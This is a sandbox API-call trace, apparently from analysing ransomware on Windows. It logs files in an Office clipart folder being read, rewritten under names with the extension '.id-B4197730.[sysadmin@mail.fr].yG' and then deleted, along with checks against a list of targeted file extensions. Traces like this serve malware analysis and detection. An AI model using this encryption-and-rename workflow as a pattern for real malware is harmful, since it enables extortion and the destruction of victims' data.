	[0168.915] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xd04, lpOverlapped=0x0) returned 1
	[0168.918] WriteFile (in: hFile=0x56c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xd10, lpOverlapped=0x0) returned 1
	[0168.919] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.919] WriteFile (in: hFile=0x56c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.920] SetEndOfFile (hFile=0x56c) returned 1
	[0168.920] CloseHandle (hObject=0x56c) returned 1
	[0168.920] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.920] SetEndOfFile (hFile=0x51c) returned 1
	[0168.924] CloseHandle (hObject=0x51c) returned 1
	[0168.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1
	[0168.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0168.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0168.926] lstrlenW (lpString=".doc") returned 4
	[0168.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.926] lstrlenW (lpString=".docx") returned 5
	[0168.926] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0168.926] lstrlenW (lpString=".pdf") returned 4
	[0168.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.926] lstrlenW (lpString=".xls") returned 4
	[0168.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.926] lstrlenW (lpString=".xlsx") returned 5
	[0168.926] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0168.926] lstrlenW (lpString=".ppt") returned 4
	[0168.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0168.926] lstrlenW (lpString=".zip") returned 4
	[0168.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.927] lstrlenW (lpString=".rar") returned 4
	[0168.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.927] lstrlenW (lpString=".bz2") returned 4
	[0168.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.927] lstrlenW (lpString=".7z") returned 3
	[0168.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0168.927] lstrlenW (lpString=".dbf") returned 4
	[0168.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0168.927] lstrlenW (lpString=".1cd") returned 4
	[0168.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68
	[0168.927] lstrlenW (lpString=".jpg") returned 4
	[0168.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.928] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=7632) returned 1
	[0168.928] CloseHandle (hObject=0x51c) returned 1
	[0168.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220
	[0168.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0168.929] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.929] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.931] GetLastError () returned 0x0
	[0168.931] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1dd0, lpOverlapped=0x0) returned 1
	[0168.933] WriteFile (in: hFile=0x56c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1de0, lpOverlapped=0x0) returned 1
	[0168.934] ReadFile (in: hFile=0x51c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.934] WriteFile (in: hFile=0x56c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.934] SetEndOfFile (hFile=0x56c) returned 1
	[0168.934] CloseHandle (hObject=0x56c) returned 1
	[0168.934] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.934] SetEndOfFile (hFile=0x51c) returned 1
	[0168.938] CloseHandle (hObject=0x51c) returned 1
	[0168.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0168.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1
	[0168.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0168.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0168.940] lstrlenW (lpString=".doc") returned 4
	[0168.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.940] lstrlenW (lpString=".docx") returned 5
	[0168.940] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0168.940] lstrlenW (lpString=".pdf") returned 4
	[0168.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.940] lstrlenW (lpString=".xls") returned 4
	[0168.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.940] lstrlenW (lpString=".xlsx") returned 5
	[0168.940] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0168.940] lstrlenW (lpString=".ppt") returned 4
	[0168.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0168.941] lstrlenW (lpString=".zip") returned 4
	[0168.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.941] lstrlenW (lpString=".rar") returned 4
	[0168.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.941] lstrlenW (lpString=".bz2") returned 4
	[0168.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.941] lstrlenW (lpString=".7z") returned 3
	[0168.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0168.941] lstrlenW (lpString=".dbf") returned 4
	[0168.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0168.941] lstrlenW (lpString=".1cd") returned 4
	[0168.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0168.941] lstrlenW (lpString=".jpg") returned 4
	[0168.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.944] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=9048) returned 1
	[0168.944] CloseHandle (hObject=0x56c) returned 1
	[0168.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220
	[0168.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0168.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0168.945] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.945] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0168.947] GetLastError () returned 0x0
	[0168.947] ReadFile (in: hFile=0x56c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2358, lpOverlapped=0x0) returned 1
	[0169.156] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2360, lpOverlapped=0x0) returned 1
	[0169.157] ReadFile (in: hFile=0x56c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.157] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.157] SetEndOfFile (hFile=0x550) returned 1
	[0169.157] CloseHandle (hObject=0x550) returned 1
	[0169.158] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.158] SetEndOfFile (hFile=0x56c) returned 1
	[0169.165] CloseHandle (hObject=0x56c) returned 1
	[0169.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1
	[0169.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0169.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0169.167] lstrlenW (lpString=".doc") returned 4
	[0169.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.167] lstrlenW (lpString=".docx") returned 5
	[0169.167] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.167] lstrlenW (lpString=".pdf") returned 4
	[0169.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.167] lstrlenW (lpString=".xls") returned 4
	[0169.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.168] lstrlenW (lpString=".xlsx") returned 5
	[0169.168] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.168] lstrlenW (lpString=".ppt") returned 4
	[0169.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0169.168] lstrlenW (lpString=".zip") returned 4
	[0169.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.168] lstrlenW (lpString=".rar") returned 4
	[0169.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.168] lstrlenW (lpString=".bz2") returned 4
	[0169.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.168] lstrlenW (lpString=".7z") returned 3
	[0169.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0169.168] lstrlenW (lpString=".dbf") returned 4
	[0169.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0169.168] lstrlenW (lpString=".1cd") returned 4
	[0169.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0169.168] lstrlenW (lpString=".jpg") returned 4
	[0169.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.169] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=14996) returned 1
	[0169.169] CloseHandle (hObject=0x56c) returned 1
	[0169.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220
	[0169.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0169.170] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.170] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0169.699] GetLastError () returned 0x0
	[0169.699] ReadFile (in: hFile=0x56c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x3a94, lpOverlapped=0x0) returned 1
	[0169.762] WriteFile (in: hFile=0x578, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x3aa0, lpOverlapped=0x0) returned 1
	[0169.763] ReadFile (in: hFile=0x56c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.763] WriteFile (in: hFile=0x578, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.763] SetEndOfFile (hFile=0x578) returned 1
	[0169.764] CloseHandle (hObject=0x578) returned 1
	[0169.764] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.764] SetEndOfFile (hFile=0x56c) returned 1
	[0169.768] CloseHandle (hObject=0x56c) returned 1
	[0169.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1
	[0170.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0170.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0170.008] lstrlenW (lpString=".doc") returned 4
	[0170.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.008] lstrlenW (lpString=".docx") returned 5
	[0170.008] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.008] lstrlenW (lpString=".pdf") returned 4
	[0170.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.008] lstrlenW (lpString=".xls") returned 4
	[0170.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.008] lstrlenW (lpString=".xlsx") returned 5
	[0170.008] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.008] lstrlenW (lpString=".ppt") returned 4
	[0170.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0170.008] lstrlenW (lpString=".zip") returned 4
	[0170.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.008] lstrlenW (lpString=".rar") returned 4
	[0170.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.008] lstrlenW (lpString=".bz2") returned 4
	[0170.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.008] lstrlenW (lpString=".7z") returned 3
	[0170.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0170.009] lstrlenW (lpString=".dbf") returned 4
	[0170.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0170.009] lstrlenW (lpString=".1cd") returned 4
	[0170.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0170.009] lstrlenW (lpString=".jpg") returned 4
	[0170.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.134] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=16100) returned 1
	[0170.134] CloseHandle (hObject=0x558) returned 1
	[0170.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 0x220
	[0170.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0170.135] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.135] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.137] GetLastError () returned 0x0
	[0170.137] ReadFile (in: hFile=0x558, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x3ee4, lpOverlapped=0x0) returned 1
	[0170.144] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x3ef0, lpOverlapped=0x0) returned 1
	[0170.146] ReadFile (in: hFile=0x558, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.146] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.146] SetEndOfFile (hFile=0x550) returned 1
	[0170.146] CloseHandle (hObject=0x550) returned 1
	[0170.146] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.146] SetEndOfFile (hFile=0x558) returned 1
	[0170.150] CloseHandle (hObject=0x558) returned 1
	[0170.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1
	[0170.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0170.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0170.152] lstrlenW (lpString=".doc") returned 4
	[0170.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.152] lstrlenW (lpString=".docx") returned 5
	[0170.152] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0170.152] lstrlenW (lpString=".pdf") returned 4
	[0170.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.152] lstrlenW (lpString=".xls") returned 4
